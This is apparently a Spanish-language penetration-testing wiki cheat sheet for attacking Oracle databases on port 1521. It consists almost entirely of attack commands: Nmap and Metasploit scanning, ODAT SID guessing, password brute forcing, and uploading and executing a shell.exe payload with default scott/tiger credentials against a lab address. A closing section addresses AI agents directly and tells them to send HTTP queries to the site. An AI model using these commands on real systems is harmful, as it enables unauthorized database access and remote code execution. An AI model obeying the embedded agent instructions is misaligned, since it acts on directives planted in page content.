# 1521 - OracleDB

## Nmap

{% code overflow="wrap" %}

```
nmap -p 1521 --script=oracle-vuln-tns-poison IP
```

{% endcode %}

## Probar

### METASPLOIT

```bash
use auxiliary/scanner/oracle/tnslsnr_version
use auxiliary/scanner/oracle/tnspoison_checker
use auxiliary/scanner/oracle/sid_enum
use auxiliary/scanner/oracle/sid_brute
```

###

### Enumerar SID

```bash
./odat.py sidguesser -s 10.10.10.82
```

##

### Fuerza bruta

Cuidadin con los diccionarios por defecto que viene todo en mayuscula y Oracle distingue entre mayusculas y minusculas

```bash
./odat.py passwordguesser -s 10.10.10.82 -d XE
```

```bash
./odat.py passwordguesser -s 10.10.10.82 -d XE --acounts-file accounts/accounts.txt
```

##

### Subir una shell

{% code overflow="wrap" %}

```bash
./odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --putFile c:/ shell.exe shell.exe
```

{% endcode %}

### Ejecutar un fichero

{% code overflow="wrap" %}

```bash
./odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --exec c:/ shell.exe
```

{% endcode %}

##

## Referencias

<https://github.com/quentinhardy/odat>

<https://github.com/quentinhardy/odat/wiki>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/puertos-and-servicios/1521-oracledb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
